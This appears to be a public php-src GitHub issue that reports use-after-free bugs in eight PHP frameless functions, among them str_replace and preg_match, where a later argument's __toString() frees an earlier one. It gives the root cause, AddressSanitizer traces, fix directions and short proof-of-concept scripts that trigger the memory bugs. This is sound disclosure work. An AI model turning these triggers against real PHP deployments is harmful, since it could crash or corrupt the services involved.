php-src icon indicating copy to clipboard operation
php-src copied to clipboard

Zend frameless calls: use-after-free in str_replace, strtr, trim, strpos, strstr, str_contains, str_starts_with and preg_match when a later argument's __toString() frees an earlier argument

Open xecaz opened this issue 2 weeks ago • 1 comments

Description

Frameless function handlers read a raw zend_string* / HashTable* out of an earlier argument without taking a reference, then coerce a later argument through a path that can call userland __toString(). If that __toString() drops the last reference to the earlier argument, the handler goes on to use freed memory. This is the pattern already public for preg_replace() in #23725, where a maintainer wrote that it needs a general solution rather than a per-extension one. We audited every ZEND_FRAMELESS_FUNCTION handler for the same shape and confirmed eight further instances with AddressSanitizer, in ext/standard and ext/pcre. Posting the list here so the general fix has the affected handlers as test cases.

Details

Relationship to existing public issues

  • #23725 ("heap uaf in php_pcre", preg_replace()), closed as a duplicate, labelled Verified. The maintainer comment there points to #20318, #20319 and #20018 as the same underlying problem (side effects during argument handling).
  • None of those issues list the eight functions below.
  • All eight reproducers use an object with a __toString() that frees another argument, which the security policy treats as a bug rather than a security issue, hence a public issue.

Root cause

Zend/zend_frameless_function.h:

  • Z_FLF_PARAM_STR(arg_num, dest, tmp): if the argument is already a string, dest = Z_STR_P(arg), with no added reference. Otherwise it coerces through zend_flf_parse_arg_str_slow() -> zend_parse_arg_str_weak() -> zend_std_cast_object_tostring(), which runs userland __toString().
  • Z_FLF_PARAM_ARRAY_HT_OR_STR(arg_num, dest_ht, dest_str, tmp): the same for arrays, dest_ht = Z_ARRVAL_P(arg) with no added reference.

A handler that uses these macros for several arguments in sequence holds the earlier raw pointer across the later coercion. Example, ext/standard/string.c (PHP 8.5.12):

ZEND_FRAMELESS_FUNCTION(str_replace, 3)
{
	...
	Z_FLF_PARAM_ARRAY_HT_OR_STR(1, search_ht, search_str, search_tmp);
	Z_FLF_PARAM_ARRAY_HT_OR_STR(2, replace_ht, replace_str, replace_tmp);
	Z_FLF_PARAM_ARRAY_HT_OR_STR(3, subject_ht, subject_str, subject_tmp);

	_php_str_replace_common(return_value, search_ht, search_str, replace_ht, replace_str,
		subject_ht, subject_str, /* zcount */ NULL, /* case_sensitivity */ true);

Confirmed instances (PHP 8.5.12, AddressSanitizer, each on the first run)

Function Handler Freed argument Freed while coercing First use after free
str_replace() 3-arg ext/standard/string.c:4689 search array replace _php_str_replace_common string.c:4612
strtr() 3-arg string.c:3591 str from zflf_strtr_3 string.c:3601
trim() 2-arg string.c:659 str what php_trim_int string.c:527
strpos() 2-arg string.c:1974 haystack needle _zend_strpos string.c:1942
strstr() 2-arg string.c:1825 haystack needle _zend_strstr string.c:1796
str_contains() string.c:1871 haystack needle zflf_str_contains_2 string.c:1879
str_starts_with() string.c:1900 haystack needle zend_string_starts_with zend_string.h:476
preg_match() 2-arg ext/pcre/php_pcre.c:1561 regex subject pcre_get_compiled_regex_cache_ex php_pcre.c:612

ASan report for str_replace(); the other seven have the same free path (zend_std_cast_object_tostring <- zend_parse_arg_str_weak <- zend_flf_parse_arg_str_slow):

==ERROR: AddressSanitizer: heap-use-after-free on address 0x50600001da84
READ of size 4 at 0x50600001da84 thread T0
    #0 zend_gc_try_addref Zend/zend_types.h:1381
    #1 _php_str_replace_common ext/standard/string.c:4612
    #2 zflf_str_replace_3 ext/standard/string.c:4699
    #3 ZEND_FRAMELESS_ICALL_3_SPEC_HANDLER Zend/zend_vm_execute.h:3956

freed by thread T0 here:
    #0 free
    #1 __zend_free Zend/zend_alloc.c:3976
    #2 _efree_56 Zend/zend_alloc.c:2888
    #3 zend_array_destroy Zend/zend_hash.c:2088
    #4 rc_dtor_func Zend/zend_variables.c:57
    #5 zend_assign_to_variable Zend/zend_execute.h:183
    #6 ZEND_ASSIGN_SPEC_CV_CONST_RETVAL_UNUSED_HANDLER Zend/zend_vm_execute.h:45746
    ...
    #12 zend_std_cast_object_tostring Zend/zend_object_handlers.c:2566
    #13 zend_parse_arg_str_weak Zend/zend_API.c:776
    #14 zend_flf_parse_arg_str_slow Zend/zend_API.c:804
    #15 zflf_str_replace_3 ext/standard/string.c:4696

ASan report for preg_match() (use side):

==ERROR: AddressSanitizer: heap-use-after-free on address 0x50f000000318
READ of size 8 at 0x50f000000318 thread T0
    #0 zend_string_hash_val Zend/zend_string.h:133
    #1 zend_hash_find Zend/zend_hash.c:2899
    #2 pcre_get_compiled_regex_cache_ex ext/pcre/php_pcre.c:612
    #3 pcre_get_compiled_regex_cache ext/pcre/php_pcre.c:887
    #4 zflf_preg_match_2 ext/pcre/php_pcre.c:1571

Full traces for the other six are available on request.

Checked, not affected by this shape

strtr($str, array $from) (2-arg) and implode($separator, $array): the raw pointer comes from the last argument parsed, so nothing runs after it is taken.

Not reproduced

preg_replace() itself (ext/pcre/php_pcre.c:2476, the #23725 case): our script did not trigger it and we did not pursue it, since it is already verified upstream.

Suggested fix

Not written or tested as a patch. Two directions, both in the frameless argument macros rather than per function:

  • take a reference on (or copy) an earlier refcounted argument before coercing any later argument that can run user code;
  • coerce all arguments that can run user code first, and only then take raw pointers.

Build

PHP 8.5.12 from the official tarball (sha256 08bc2eba2a588654ade1357174aa646b761556c862dda0678345ee29ed481209), ./configure --disable-all --enable-cli --enable-xml --with-libxml --disable-cgi, CFLAGS="-fsanitize=address -g -O1 -fno-omit-frame-pointer", run with USE_ZEND_ALLOC=0 so ASan can see the free. On a plain build with the default allocator str_replace() does not crash; it returns the subject with nothing replaced. The other seven were only run under ASan.

Proof of Concept

str_replace():

<?php
class Evil {
    public function __toString() {
        global $arr;
        $arr = null; // drops the only reference to the search array
        return 'replacement';
    }
}

$arr = [];
for ($i = 0; $i < 50; $i++) {
    $arr["needle$i"] = "val$i";
}

var_dump(str_replace($arr, new Evil(), 'some subject needle0 needle1 needle2 text'));

preg_match():

<?php
class Evil {
    public function __toString() {
        global $regex;
        $regex = null;
        return 'needle';
    }
}

$regex = '/' . str_repeat('a', 64) . 'needle' . str_repeat('b', 64) . '/';
var_dump(preg_match($regex, new Evil()));

The other six follow the preg_match() script: the first argument is str_repeat('a', 64) . 'needle' . str_repeat('b', 64) held in a global, the second is new Evil(), and __toString() sets that global to null. strtr() takes 'abc' as a third argument; trim() has a space added at each end of the string.

Run: USE_ZEND_ALLOC=0 php poc.php on the ASan build.

Scope

Use-after-free read of a freed zend_string / HashTable in eight always-compiled-in functions on the default frameless-call path. No ini setting or build option is involved. Shown only with a script written for the purpose; on a plain build the visible effect is a wrong result from str_replace().

PHP Version

PHP 8.5.12 (tested). Zend/zend_frameless_function.h has had no commits on master since 2026-10-20; other branches not tested.

Operating System

Debian 13

xecaz avatar Nov 15 '26 15:11 xecaz

Hi already a similar report exists for it.

devnexen avatar Nov 15 '26 16:11 devnexen